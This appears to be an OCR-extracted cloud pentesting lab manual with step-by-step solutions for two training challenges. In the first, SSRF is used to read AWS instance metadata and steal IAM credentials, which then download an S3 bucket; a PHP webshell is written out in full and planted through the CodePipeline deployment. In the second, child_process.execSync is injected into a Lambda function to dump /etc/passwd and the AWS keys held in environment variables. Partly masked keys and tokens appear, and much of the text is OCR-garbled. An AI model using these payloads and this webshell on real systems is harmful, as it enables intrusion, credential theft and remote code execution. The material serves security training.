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Module: Cloud Pentesting

AWS - SSRF Exploitation - Elastic

Beanstalk

Challenge URL: http://cloud.webhacklab.com/view_pospdocument.php?doc= {}

e |dentify and exploit SSRF vulnerability to gain access to S3 buckets and download the
source of the application hosted on AWS cloud.

e Upload a webshell via Continuous Deployment (CD) pipeline.
Solution:

Step 1: Navigate to the URL

“http://cloud.webhacklab.com/view pospdocument.php?doc=https://raw.githubusercontent.com/nirh

ua/test/master/cloud-memes.jpg”

[ view_pospdocument.phy X | =+
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Step 2: By default Apache’s server-status page is not accessible from the internet but only via

localhost as shown below.

C ® @ coudwebhacklab.com/server-sta

Forbidden

You don't have permission to access /server-status on this server.

Step 3: Intercept the above request and provide “http://localhost/server-status” to parameter “doc”.

Due to SSRF vulnerability it is possible to read the page content as shown below.

Request

J Raw I Params [ Headers I Hex }

GET Niew_pospdocument php?doc=http: Mlocalhost/server-status HTTR/1 1
Host cloud.webhacklab.com

User-Agent: Mozilla/s 0 (Windows NT 10.0; Wing4d: x84 rv.66.0) Gecko/20100101 Firefox/66
Accept text/ntml applicationfxhtml+xml applicationfxmlg=0 9 **q=0 5
Accept-Language: en-US eng=05

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

I EE]

Response

J Raw T Headers T Hex I HTML T Render ]

HTTR/1.1 200 0K

Date: Sun, 19 May 2019 12:30:03 GMT
Server. Apache

Content-Length: 6755

Connection: close

Content-Type: image/png

<IDOCTYPE HTML PUBLIC "#W3C/DTD HTML 3.2 Final/EN "=
<html=<head=

<title=Apache Status</itle=

</head=<body=

<h1=Apache Server Status for localhost (via 127.0.0.1)</h1=

<dl=<dt>Server Version: Apachel2.4.37 (Amazon)</dt=

=dt=Server MPM: prefork=</dt=

<dt=Server Built: Dec 13 2018 00:17:42

<fdt=</dl=<hr f==dl=

=dt=Current Time: Sunday, 19-May-2019 12:30:03 UTC</dt=
<dt=Restart Time: Thursday, 31-Jan-2019 17:07:34 UTC</dt>
<dt=Parent Server Config. Generation: 3</dt>

=dt=Parent Server MPM Generation: 2</dt>

<dt=Server uptime: 107 days 19 hours 22 minutes 28 seconds</dt>
=dt=Server load: 0.00 0.00 0.00</dt=

Note: Confirming that the service provider is Amazon through server fingerprinting.
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Step 4: Retrieve the IAM account number, profile ID passing the metadata URL to parameter “doc”:

http://cloud.webhacklab.com/view_pospdocument.php?doc=http://169.254.169.254/latest/meta-
data/iam/info

Request

j RawI Params I Headers T Hex ]

GET Niew_pospdocument php?doc=http: /169 254 169 254/latest/meta-dataliam/finfo HTTR/1 .1
Host cloud webhacklab.com

User-Agent Mozilla/S.0 (Windows NT 10.0; Wing4d: x84 rv.66.0) Gecko/20100101 Firefox/B6.0
Accept text/html applicationfxhtml+xml applicationfxml:g=0.9*/*q=0.3

Accept-Language: en-US eng=05

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Fragma: no-cache

Cache-Control no-cache

l-TJ lTJ {TJ lTJ Type a search term

Response

j RawI Headers I Hex }

HTTR/1.1 200 OK

Date: sun, 19 May 2019 12:47:13 GMT
Server. Apache

Content-Length: 216

Connection: close

Content-Type: image/png

{

"Code": "Success”,

"LastUpdated" : "2019-05-19T11.56:132",

"InstanceProfileArm" - "arnaws:iam: 6962443668 T9:instance-profile/aws-elasticbeanstallk-ecZ-role",
"InstanceProfileld" : "AIPAIAPDETAQPLZ " 7= "

}

Account number: 696 XXXXX79

Instance Profile Id: AIPAIAPD5STXQPXXXXXXXX
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Step 5: Retrieve the region by passing the metadata URL to parameter “doc”.

http://169.254.169.254/latest/dynamic/instance-identity/document

-T

J RawI Params I Headers I Hex ]

GET view_pospdocument. php?doc=http://169.254 169 254/latest/dynamic/instance-identity/document HT TP/ 1
Host: cloud webhacklab com

User-Agent Mozilla/s.0 (Windows MNT 10.0; WinGg4; x64, rv.66.0) Gecko/20100101 Firefox/66.0

Accept text/html applicationf<html+xml applicationfxmlg=0 9 ** q=08

Accept-Language: en-US eng=05

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Response

J RawI Headers [ Hex }

Date: Mon, 20 May 2019 14:54: 27 GMT
Server. Apache

Content-Length: 476

Connection: close

Content-Type: image/png

{

"privatelp" : "172.31.39.84",
"devpayProductCodes" : null,
"marketplaceFroductCodes" : null,
"instanceType" : "t2.micra",
"architecture" : "x36_64",

"Imageld" : "ami-08b 7 7cds 74fadfade",
"version" : "2017-09-30",
"billingProducts" : null,

"instanceld" : "i-0e865a65749f5a04c",
"accountld": "696244363873",
"availabilityZone" : "us-east-1d",
"kernelld" : null,

"ramdiskld" : null,

"pendingTime": "2019-01-21T17:08:282",

"region” : "us-east-1"

Region: us-east-1
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Step 6: Navigate to the URL below for retrieving AccessKeyld, SecretAccessKey and Token:

http://cloud.webhacklab.com/view_pospdocument.php?doc=http://169.254.169.254/1

atest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role

Request

J RawT Params I Headers | Hex

GET fview_pospdocument php?doc=http:/(169.254 169 254/latest/meta-datal/iam/security-credentials/aws-elasticbeanstalk-ec2-role HTTP/1 1
Host cloud webhacklab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv.66.0) Gecko/20100101 Firefox/66.0

Accept text/html applicationfxhtmi+xml application/xml;q=0.9 */*,q=0.8

Accept-Language: en-US engq=05

Arcent-Encodina ozin deflate
20| = ||+ || =] Typeasearchterm
Response

Raw | Headers | Hex

HTTP/1.1 200 OK

Date: Sun, 19 May 2019 12:50:07 GMT
Server. Apache

Content-Length: 1274

Connection: close

Content-Type: image/png

i

"Code": "Success",

"LastUpdated" : "2019-05-19T11:57.022",

"Type" : "AWS-HMAC",

"Accesskeyld": "ASIAZEGIFEXAR

"SecretAccesskKey"  "O69mILzDIA TibjomVgipmHU2ze0OTE T T,

"Token":

"Agodb3dpZ2luX2VIEF QaCXVzLWWVhe3QtMS JHMEUCIDwWudrSsYTxF JJdzSAYVWI qasTYLAMmMZF 8+aDCHjtks AIEAISrtgL JZbrdc03+16nX6EdH
UmATcMbeZGiQ3dd+xUyujizTDGSUmMEGmMKOwWN0UZRKLZNEDSSswrsYGAQUINHARPS TBUL CIRGIyhyNTeG 1hdy TowYCyWTITJK T 1Tgks 7C JbhiviwE
wlUtVzh8kgBN2gmCBNOBFMNBY+JECcOESbScEVYZe5RONNGKELP dvBSPDNM+0ORUSSEZfJU2kdZ glU24nN4plp TYQcY3/0QKkBpaRBZTF 7T0v+fHip
QMfZ/04is48NOEF TWekjloamV4rHRKkQZvgrgdr 155gSRGX0xD 1 Tqve D JAU2LWN3ZPQIALL mukBUEyUhKrhJinRT3zZX qoLljVITIKWDIcinZD g 7|
VQ5gamd2sZgkmPZCERUgOeyLNCZJhfOigfGEBH4 7g+dfWEmaediy 3iviOolwtgEtzwhoE AqyOkbalMwStYL 1NHF TJV2eRgYZvF SPallL3pIMRS 3

"Expiration": "2019-05-19T18:14: 162"
}
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Step 7: Setup AWS Command Line Interface (CLI) using Kali Terminal.

root@kali:~# export AWS_ACCESS_KEY_ ID=ASIA2EG3F.............
root@kali:~# export AWS_SECRET_ACCESS_KEY=mhEI+cQUGIy79XMgménlXrV..... ..
root@kali:~# export AWS_DEFAULT REGION=us-east-1

root@kali:~# export AWS_SESSION_TOKEN=FQoGZXIVYXdzEIf//////////wEaDCaPfjkbqj2e...

root@® kali ~

# export AWS_ACCESS_KEY_ID=A<EEEEEG_ T

root® kali)-[~

# export AWS_SECRET_ACCESS_KEY=k i 0 1 1

root® kali)-[~
# export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjECIaCXVzLWVhc3QtMSIHMEUCIQDQq70KynoBBYmZvcr77bCbYAOQ
zkiD
w7 /6
79HE
onJY
QXiw

VRSo
Q900
oY5D

W

B

4

F

/

h M1Ke
F

U

q :
J 3pin
b

sNNjwQfEA3bagWQ7UbE96sm/Q=

root@® kali ~
# export AWS_DEFAULT_REGION=us-east-1
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Step 8: Access S3 bucket using the Kali Terminal.

root@kali:~# aws s3 1s

zavanfkali:~% awa 33 1=

An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied
savanfkali:~$ ||

As shown access is denied, this could be due to security policies.

Step 9: The managed policy “AWSElasticBeanstalkWebTier” by default only allows to access S3
buckets whose name start with “elasticbeanstalk”

Reference: https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/iam-instanceprofile.html

Policy ARN arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier (2

Description  Provide the instances in your web server environment access to upload log files to Amazon S3.

Permissions Policy usage Policy versions Access Advisor
Policy summary {}JSON ‘
"Sid": 5
"Action": [
2
B
1,
"Effect":

"Resource": [

"Sid":

To access the S3 bucket, we needed to know the bucket name. Elastic Beanstalk creates an
Amazon S3 bucket named elasticbeanstalk-region-account-id for each region in which you create
environments with role aws-elasticbeanstalk-ec2-role. Elastic Beanstalk uses this bucket to store

objects, for example temporary configuration files, that are required for the proper operation of your
application.

e http://169.254.169.254/latest/meta-data/iam/info -
o "InstanceProfileArn" : "arn:aws:iam::6 XXXXXX79:instance-profile/aws-
elasticbeanstalk-ec2-role",
e http://169.254.169.254/latest/user-data

o Access Zone information
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Step 10: Use AWS CLI to gain access to the bucket

root@kali:~# aws s3 1ls s3://elasticbeanstalk-region-account-id/ --recursive

Example: aws s3 1ls s3://elasticbeanstalk-us-east-1-6XXXXX79/ --recursive

i:~5 export RWS _RCCESS_KEY ID= ASTA2EG3FeXX6UTISTED ~
:~$% export AWS SECRET ACCESS KEY=h2EuL9XF30khWJ0wyFgb6lngel/1tMITK1wV7

:~5 export AWS_ DEFAULT REGICON=us-east-1

] i:~$ export AWS SESSION TOKEN=IQoJb3JpZ2luX2VieELxr//////////WwEaCXVzLWVhc3QtMSJHMEUCIDunelaelATLcL+XQ/b
ahcd/USyAIlcbfPtlejYkEPAlEApngZRdZIGURE]YLHthLka30QbPuJIpSltLD6V1EthAMIchBGngOTYyNDQzN]g4Nzk1DLbsSTPy1
ZYyJOMDCQRA29¥YoYbaMQHaLUl 6pD%jeDl TOymSewIRExt 93NDbWPVE+UM1 53X sV10gTMD+rYcWg7Ol1Fsw/ pA0QQ4QgerkNa+TRAOYIRS3MrGs
+05POiWQyckePHpTA/U7iw26hT4snn2rQkNVoZD3cGLt0YLOM] Twat 1 DGOt QywXCgeFGIKroNt 0Z4CAUSNR2X AN BST3ywe loQJukBe 2Uy 205
TiW441HVb4AdhI/JvrN/MfviyePAVseT1047he YBNWCpl 8,/ DEVT8VEINhPXKt /BNEdtMLodcvgB3nSGH2nmNv7dFGVE/II0knihAPolcSOkWh
gw8TpeGagHG] Zozy fAVNI 6gCDBkPNNY0w2D0+JIbGONRPS]j U/ hwpmVé ] ENMgWGVaUgglQXRIHWgxovK/eUICTinSwlgPlvJyBQG+CMDSME1S05
FNBVDBrcNbEZx5cX0atGL0Txi0x4ETPINWE6gyXc9Ts5k9P/ 55113 6pDRKE] 0GPfMbrY2DkN]xkBljnIMop3ogmdaMmz2T51V1edphQ/ 1 A5MMy
SfgFousBx0iBXIaRFJStRWEtbNCoDCO9XB+DgYcwd FRMFORS3J4UpOVStY¥TBg3gmLUKY za0YoqglB82nX206akgwo2 FONWE93m+ytydhh35Ci1xM
IzBfGMsG33NMPOQUKOer2G6hHkT+GUUXBMUIFSOarvsHPozGhpVxhQkBbBMk2b6D10HECLCEZvKEgHLY P SMdIWNZKrMwvv4 CiWuuRP03j JB4yi
kehszasfrasdo/DReDSAmnN g SOWy TnT At J7ERINTMe Ouspd 0o coh 2 Fa 8 Gy oMy N EMS 08 e A C e 0 T Th T2 0% X A gnH1 Yh S VR INCA==

savang@ i:-5laws 53 1s s3://elasticbeanstalk-us-east-1-692 9/ ——recur51ve|

2019-01-30 19T0osTo¢ U . E1gdSCiCOEalSLalR

2020-07-22 21:20:39 | 761 2019028gtB-InsuranceBroking-stag-v2.0024.zip

2019-05-22 13:13:04 44¢ resources/_runtime/ embedded extensions/A/bb5elc3ce52a0cbc094a9f36e07calsl
2018-07-02 16:22:34 22 resources/_runtime/ embedded extensions/Insurance Broking App - CodePipeline/00
90815eed3£2773c34127e9123b4651

2019-05-20 16:04:53 22 resources/ runtime/ embedded extensions/Insurance Broking App - CodePipeline/00
c17346821af734fe6a5f1650333168

2019-08-06 19:05:49 22 resources/_runtime/ embedded extensions/Insurance Broking App - CodePipeline/0a
ae7cl93badcfbace%6bbat365a2llc

2019-10-18 21:43:23 22 resources/_runtime/ embedded extensions/Insurance Broking App - CodePipeline/la
d27413d533654c407d7502c56facte

2019-08-06 16:47:41 22 resources/ runtime/ embedded extensions/Insurance Broking App - CodePipeline/27 v

Step 11: To download the source code use the following command:

root@kali:~# aws s3 cp s3://elasticbeanstalk-us-east-1-6XXXXX79/ {destination

local path} --recursive

E 4:~$|aws s3 cp s3://elasticbeanstalk-us-east-1-69 'S/ /home/savan/elasticdata ——recur51ve| ~
download: s3://elasticbheanstalk-us-east-1-696244368879/2019028gtB-InsuranceBroking-stag-v2.0024.zip to elasticdata
f2019028gtB-InsuranceBroking-stag-v2.0024.zip |

download: s3://elasticbeanstalk-us-—east-1-69024436687%/.elasticbeanstalk to elasticdata/.elasticbeanstalk
download: s3://elasticbeanstalk-us-east-1-696244368879/resources/ runtime/ embedded extensions/Insurance Broking A
pp - CodePipeline/00c17349821af734fe6a5f1650333168 to elasticdata/resources/_runtime/ embedded extensions/Insuranc
e Broking App — CodePipeline/00cl73495821af734fe6a5£1650333168

download: s3://elasticbeanstalk-us-east-1-69624436887%/resources/ runtime/ embedded extensions/Insurance Broking A
pp — CodePipeline/0aae7cl93badcfSace96bbablé5a2lle to elasticdata/resources/ runtlme/ embedded extensions/Insuranc
e Broking App - CodePipeline/0Oaae7cl93badcfSace%6bbaBi3c5a2llc

download: s3://elasticbeanstalk-us-east-1-696244368879/resources/ runtime/ embedded extensions/Insurance Broking A
pp — CodePipeline/2c20ae6ae7d161139f4bef99c641ffbd to elasticdata/resources/_runtime/ embedded extensions/Insuranc
e Broking App - CodePipeline/2c20ae€ae7d161139f4bef9%cé41£fbd

download: s3://elasticbeanstalk-us-east-1-69624436887%/resources/ runtime/ embedded extensions/Insurance Broking A
pp — CodePipeline/27f03af88fe3afBadébc213f2cab5456f to elasticdata/resources/ runtlme/ embedded extensions/Insuranc
e Broking App - CodePipeline/27f03a88fe3afB8adébc213f2cab5456f

download: s3://elasticbeanstalk-us-east-1-696244368879/resources/_runtime/_embedded extensions/Insurance Broking A
pp — CodePipeline/27f495c6c8d63d04706636adf8aaf22f to elasticdata/resources/_runtime/ embedded extensions/Insuranc
e Broking App - CodePipeline/27f495c6c8d63d04706636adfBaaf22f

download: s3://elasticbeanstalk-us—east-1-69624436687%/resources/ runtime/ embedded extensions/Insurance Broking &
pp — CodePipeline/2d44ba74bdcbd7alb32d768942a06309f to elasticdata/resources/ runtlme/ embedded extensions/Insuranc
e Broking App - CodePipeline/2d44ba74bdcbd7alb32d78942a06309f

download: s3://elasticbeanstalk-us-east-1-696244368879/resources/_runtime/ embedded extensions/A/bb5e0c3ce52alcbcl
9429f36e07calfl to elasticdata/resources/ runtime/ embedded extensions/A/bb5elc3ce52alcbc094a5f36e07calsl
download: s3://elasticbeanstalk-us-east-1-696244368879/resources/_runtime/_ embedded extensions/Insurance Broking A
pp — CodePipeline/2d7a0547a865cb04ccae8d3decccéedd to elasticdata/resources/ runtime/ embedded extensions/Insuranc
e Broking App - CodePipeline/2d7a0547aB865cb04ccaeB8d3deccceedd v
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Pivoting from SSRF to RCE

The software release, in this case, is automated using AWS Pipeline, S3 bucket as a source
repository and Elastic Beanstalk as a deployment provider. AWS CodePipeline is a CI/CD service
which builds, tests and deploys code every time there is a change in code (based on the policy). The
Pipeline supports GitHub, Amazon S3 and AWS CodeCommit as source provider and multiple
deployment providers including Elastic Beanstalk. The AWS official blog on how this works can be

found here.

GitHub  Amazon S3 AWS CodeCommit

a. If you plan to use Amazon S3 as your source, you will retrieve the sample code from the
AWS GitHub repository, save it to your computer, and upload it to an Amazon S3 bucket.

e Visit our GitHub repository containing the sample code at
https://github.com/awslabs/aws-codepipeline-s3-aws-codedeploy_linux
e Click the dist folder.

Step 12: Create a new PHP file (webshell) as shown in Figure:

File: webshellOOX.php

<html>

<body>

<form method="get" name="<?php echo basename($_SERVER['PHP_SELF']); 2>">
<input type="text" name="call" id="call" size="80">
<input type="submit" value="go">

</form>

<pre>

<hl> My Webshell 1001 </h2>

<?php

if(S_GET['call'l])

{

system($ GET['call'l);

}

w NotSoSecure part of Page: | 10
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?>
</pre>
</body>
</html>
= webshel 1001 php 3 |
1 <html>
2 ~j<body>
3 —l<form method="get" name="<?php echo basename (§ SERVER['PHP SELF']): 2>">
4 <input type="text" name="call" id="call" size="80">
S <input type="submit" value="go">
(3 -</form>
7 [El<pre>
9 <hl> My Webshell 1001 </h2>
5 | q<?php
12 if($_GET['call'])
14 system($ GET['call']):
16 =2
17 -</pre>
1 -</body>
19 </html>

Step 13: Add newly created file to the 2019028gtB-InsuranceBroking-stag-v2.0024.zip file as shown

below:

root@kali:~# zip -ur 2019028gtB-InsuranceBroking-stag-v2.0024.zip
webshell@oX.php

Step 14: To check if the file has been added to the zip run the command and locate the shell file:

root@kali:~# vi 2019028gtB-InsuranceBroking-stag-v2.0024.zip

" zip.vim version v28
" Browsing zipfile /home/ ‘awsdata/2019028gtB~-InsuranceBroking-stag-v2.0024.zip
" Select a file with cursor and press ENTER

view_ pospdocument.php
f=bshel11001.php
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Step 15: Now, upload an archive file to S3 bucket using the AWS CLI command, as shown in

Figure:

root@kali:~# aws s3 cp 2019028gtB-InsuranceBroking-stag-v2.0024.zip
s3://elasticbeanstalk-us-east-1-696XXXXXXXXX/

faws =53 cp 2018028gtB-InsuranceBroking-stag-v2.0024.zip =3://elastickheanstalk-us-east-1-696L
L

upload: ./2013028gtB-InsuranceBroking-stag-v2.0024.zip to =23://elasticbeanstalk-us-east-1-6362
f '9/2019028gtB-InsuranceBroking-stag-v2.0024.zip

.
s

Step 16: The moment the new file is updated, CodePipeline immediately starts the build process

and if everything is OK, it will deploy the code on the Elastic Beanstalk environment.

Once the pipeline is completed, we can then access the web shell and execute arbitrary commands

to the system, as shown below.

http://cloud.webhacklab.com/webshell00X.php

webhacklab.com

Ms-alf go

My Webshell 1001

total 120
drwxr-xr—-x

[a%
n

root root 4096 Jan 31 17:07

drwxr-xr-x 25 root root 4086 Jan 31 17:07 ..
—Ir'w—Yr——r—— 1 root root 0 Jan 31 17:06 .autofsck
—IW—-Ir——L—— 1 root root 0 Jan 17 23:50 .autorelabel
dr—-=r-xr—-x= 2 root root 4096 Nowv 16 2018 bin
dr-xr-xr-x 4 root root 4096 Jan 17 23:50 boot
drwrzr-xr—-x 2 root root 4096 Feb 28 2014 cgroup
drwxr—-xr-x 16 root root 2740 Jan 31 17:07 dev
drwxr-xr—-x 93 root root 4096 Jan 31 17:07 etc
drwxr—-xr—-x 5 root root 4096 Jan 31 17:07 home
—rw—-r——r—— 1 root rocot 53 Jan 31 17:05 launch control?AWSAccessKeyId=AKIAJOBAZG
dr—xr-xr—-x 7 root root 4096 Jan 17 23:51 lib
dr-xr-xr-x 10 root root 12288 Jan 17 23:51 1libé4
drwxr—-xr—x 2 root root 4096 Nowv 16 2018 local
drwg————— 2 root root 16384 Nowv 16 2018 lost+found
drwxr—-xr—x 2 root root 4096 Jan & 2012 media

We successfully have an RCE!
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AWS Serverless Exploitation

Challenge URL: https://8nfim12vx0.execute-api.us-east-2.amazonaws.com/default/awh-

lambda-demo?query='notsosecure’

e Identify and exploit Remote Code Execution vulnerability in the Lambda function
e Obtain Secret Tokens
e Gain access to S3 bucket

e Connectto EC2 instance
Solution:

Step 1: Navigate to our serverless lambda application which takes input from the “query” parameter.

Notice how the input from the query parameter is getting reflected back on the page.

https://8nfjml2vx0.execute-api.us-east-2.amazonaws.com/default/awh-lambda-

demo?query="notsosecure’

@& https://8nfjm12vx0.execute-api.us-east-2.amazonaws.com/default/awh-lambda-demo?quer

Web Hacking- Black Belt Edition

AWS Lambda RCE aws-serverless and API

notsosecure
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Step 2: Evaluate the expression by passing 5*5 in the query parameter. The expression was

evaluated which implies that the lambda function would evaluate any command provided as an input

leading to a remote code execution.

demo?query=5%*5

https://8nfjml2vx0.execute-api.us-east-2.amazonaws.com/default/awh-lambda-

< > C

25

@ https://8nfjm12vx0.execute-api.us-east-2.amazonaws.com

Web Hacking- Black Belt Edition

AWS Lambda RCE aws-serverless and API

Step 3: Now that the application is evaluating the expressions, inject the function “require” to

execute commands on the host to read the content of the file “/etc/passwd” as shown below:

https://8nfjml2vx0.execute-api.us-east-2.amazonaws.com/default/awh-lambda-

demo?query=require(%27child_process%27).execSync(%27cat%20/etc/passwd%27);

root:

sbx_user1051:x:496:495:
sbx_user1054:x:493:492:
sbx_user1057:x:490:489:
sbx_user1060:x:487:486:
sbx_user1063:x:484:483:
sbx_user1066:x:481:480:
sbx_user1069:x:478:477:
sbx_user1072:x:475:474:
sbx_user1075:x:472:471:
sbx user1078:x:469:468:

@ https://8nfjm12vx0.execute-api.us-east-2.amazonaws.com,

Web Hacking- Black Belt Edition

AWS Lambda RCE aws-serverless and API

/home/sbx_user1051:/sbin/nologin sbx_user1052:x:495:494
/home/sbx_user1054:/sbin/nologin sbx_user1055:x:492:491::
/home/sbx_user1057:/sbin/nologin sbx_user1058:x:489:488:
:/home/sbx_user1060:/sbin/nologin sbx_user1061:x:486:485:
:/home/sbx_user1063:/sbin/nologin sbx_user1064:x:483:482:
:/home/sbx_user1066:/sbin/nologin sbx_user1067:x:480:479:
/home/sbx_user1069:/sbin/nologin sbx_user1070:x:477:476:
/home/sbx_user1072:/sbin/nologin sbx_user1073:x:474:473::
/home/sbx_user1075:/sbin/nologin sbx_user1076:x:471:470:
:/home/sbx user1078:/sbin/nologin sbx user1079:x:468:467::

:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:1p:/var/spool/
sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10: 14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin rpe:x:32:32:Rpcbind
Daemon:/var/cache/rpcbind:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534: Anonymous NFS User:/var/lib/nfs:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin dbus:x:81:81:Systen)
bus:/:/sbin/nologin ec2-user:x:500:500:EC2 Default User:/home/ec2-user:/bin/bash slicer:x:498:497::/tmp:/sbin/nologin sb_logger:x:497:496::/tmp:/sbin/nologin
:/home/sbx_user1052:/sbin/nologin sbx_user1053:x:494:493:
/home/sbx_user1055:/sbin/nologin sbx_user1056:x:491:490:
:/home/sbx_user1058:/sbin/nologin sbx_user1059:x:488:487:
:/home/sbx _user1061:/sbin/nologin sbx user1062:x:485:484:
:/home/sbx_user1064:/sbin/nologin sbx user1065:x:482:481:
:/home/sbx_user1067:/sbin/nologin sbx_user1068:x:479:478:
:/home/sbx_user1070:/sbin/nologin sbx_user1071:x:476:475:
/home/sbx_user1073:/sbin/nologin sbx_user1074:x:473:472:
:/home/sbx_user1076:/sbin/nologin sbx_user1077:x:470:469:
/home/sbx user1079:/sbin/nologin sbx user1080:x:467:466:

:/home/sbx_userl
:/home/sbx_userl
:/home/sbx_userl
:/home/sbx_userl
:/home/sbx_userl
:/home/sbx_userl
:/home/sbx_userl
:/home/sbx_userl
:/home/sbx_userl
:/home/sbx userl
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Step 4: Now that we can execute operating system level commands and we also know that this is
an Amazon instance let's read the environment variable to get access to the AWS keys which are
generally stored as an environment variable. “Env’ command will print all the environment variables

associated with the privileges with which the application is running.

https://8nfjml2vx0.execute-api.us-east-2.amazonaws.com/default/awh-lambda-

demo?query=require(%27child_process%27).execSync(%27env%27);

« > C & https://8nfjm12vx0.execute-api.us-east-2.amazonaws.com/defaul lambda-demo?query=require(%27child

Web Hacking- Black Belt Edition

AWS Lambda RCE aws-serverless and API

AWS LAMBDA FUNCTION_VERSION=$LATEST

AWS SESSION_TOKEN=AgoJb3IpZ2luX2VjEF0aCXVzLWVhe3QtMiITHMEUCIBWSIV/CIpcESPMuvXykY YP2WOzzMVbpMheq6dwWU4rl AiEA
LD LIBRARY PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib LAMBDA_TASK ROOT=/var/task

AWS LAMBDA LOG _GROUP_NAME=/aws/lambda/awh-lambda-demo AWS LAMBDA LOG STREAM NAME=2019/05/19/[SLATEST]dd9e7d6dd
AWS LAMBDA RUNTIME_API=127.0.0.1:9001 AWS_EXECUTION_ENV=AWS Lambda nodejs10.x AWS_LAMBDA_FUNCTION_NAME=awh-I
AWS XRAY DAEMON ADDRESS=169.254.79.2:2000 PATH=/var/lang/bin:/usr/local/bin:/ust/bin/:/bin:/opt/bin AWS DEFAULT REGION=us-east-2 H
AWS SECRET ACCESS_KEY=FA7aVUdwPbkQ0sndXnns5PSAJ8/JvgjhImvsg8qq LANG=en US.UTF-8 LAMBDA RUNTIME DIR=/var/runtime T4
2 NODE_PATH=/opt/nodejs/node10/node modules:/opt/nodejs/node_modules:/var/runtime/node_modules AWS ACCESS KEY ID=ASIA2EG3F6XXX}
_AWS XRAY DAEMON_ADDRESS=169.254.79.2 AWS XRAY DAEMON _ PORT=2000 X AMZN TRACE_ID=Root=1-5celc490-
€825be5e69180b14cb1£8208;Parent=0e19430221017¢79;Sampled=0 AWS_XRAY CONTEXT MISSING=LOG_ERROR HANDLER=index.handler
AWS LAMBDA FUNCTION MEMORY_SIZE=128 =/usr/bin/env

Step 5: Setup AWS Command Line Interface (CLI) using Kali Terminal.

root@kali:~# export AWS_ACCESS_KEY_ID=ASIA2EG3F6XXXXXXXXXX
root@kali:~# export AWS_SECRET_ACCESS_KEY=9STIiddjS/D/XXXXsCM7Yj1IMaUmXXXXXXXXX
root@kali:~# export AWS_DEFAULT_ REGION=us-east-2

root@kali:~# export AWS_SESSION_TOKEN= IQoJb3Jpz2luX2VjEOr//////////wEa..... .

® ~/tools
export AWS_ACCESS_KEY_ID=ASIA mm J3\/

e ~/tools
export AWS_SECRET_ACCESS_KEY=0QjvvM N i /D' TpXrmm

..} ~/tools
export AWS_DEFAULT_REGION=us-east-2

...} ~/tools

export AWS_SESSION_TOKEN=IQoJb3Jpz2luX2VjEor//////////wEaCXVzLWVvhc3QtM
- - - : - 3 /1111177
12+pK2H6YV

1IXct6QDK

18G4FJgjq

30MpSp5Mp

zBu7hN5KC
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Step 6: Run “aws_enum” script to discover AWS services which a following set of AWS credentials
has access to (AWS_ACCESS KEY_ID, AWS SECRET_ACCESS KEY,
AWS_SESSION_TOKEN)

root@kali:~/tools/# python3 aws_enum.py --access-key ASIA2EG3FEXXXXXXXXXX --
secret-key 9STIiddjS/D/XXXXsCMtbG7Yj1IMaUmXXXXXXXXX --session-token
AgoJb3IpZ21uX2VjEGYaCXVzLWV... --region us-east-2

root® kali ~/tools

# python3 aws_enum.py —access-key ANz --secret-key Of N "
--session-token IQoJb3Jpz2luX2VjEor//////////WEaCXVzLWVhc3QtMiJHMEUCIQCYGWMxoxhFYdW7U6gwicBiBtxgnP5RDiwxgmRGopK

D| AU/
r POD
1 Yg5
e 28Q
s k7f
LELz1A4SRfS2y2tFWnokfg2tzYvAcqRoKdR1xmtng+wlqWs9gdcF7zBu7hN5SKC+MXPVAY5XLVsvz1YCOLNURCZQRY --region us-east-2

{'Buckets': [{'CreationDate': datetime.datetime(2020, 7, 2, 2, 19, 22, tzinfo=tzutc())

'Name': 'codepipeline-us-east-1-792206561322'},

{'CreationDate': datetime.datetime(2020, 7, 2, 18, 58, 22, tzinfo=tzutc())
'Name': 'elasticbeanstalk-us-east-1-696244368879'},

{'CreationDate': datetime.datetime(2020, 6, 17, 21, 37, 52, tzinfo=tzutc())
'Name': 'elasticbeanstalk-us-east-2-696244368879'},

{'CreationDate': datetime.datetime(2020, 6, 27, 8, 40, 57, tzinfo=tzutc())
'Name': 'elasticbeanstalk-us-west-2-696244368879'},

{'CreationDate': datetime.datetime(2020, 7, 2, 16, 38, 53, tzinfo=tzutc())
'Name': 'mycognito'},

{'CreationDate': datetime.datetime(2020, 6, 27, 18, 51, 2, tzinfo=tzutc())
'Name': !nss-lambda-demo},

{'CreationDate": datetime.datetime(2019, 9, 11, 20, 33, 36, tzinfo=tzutc())
'Name': ‘'nssuploaderi'},

{'CreationDate': datetime.datetime(2019, 11, 25, 16, 53, 6, tzinfo=tzutc())
'Name': 'testlinss'}],

Note: The AWS keys which were compromised are having read access on S3 bucket, EC2

Instances and SecretsManager.
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Step 7: Let us access “nss-lambda-demo” s3 bucket and search for some juicy information.As
observed this s3 bucket is containing the “aws-ec2-solr.pem” file which is nothing but a private key

of another internal server.

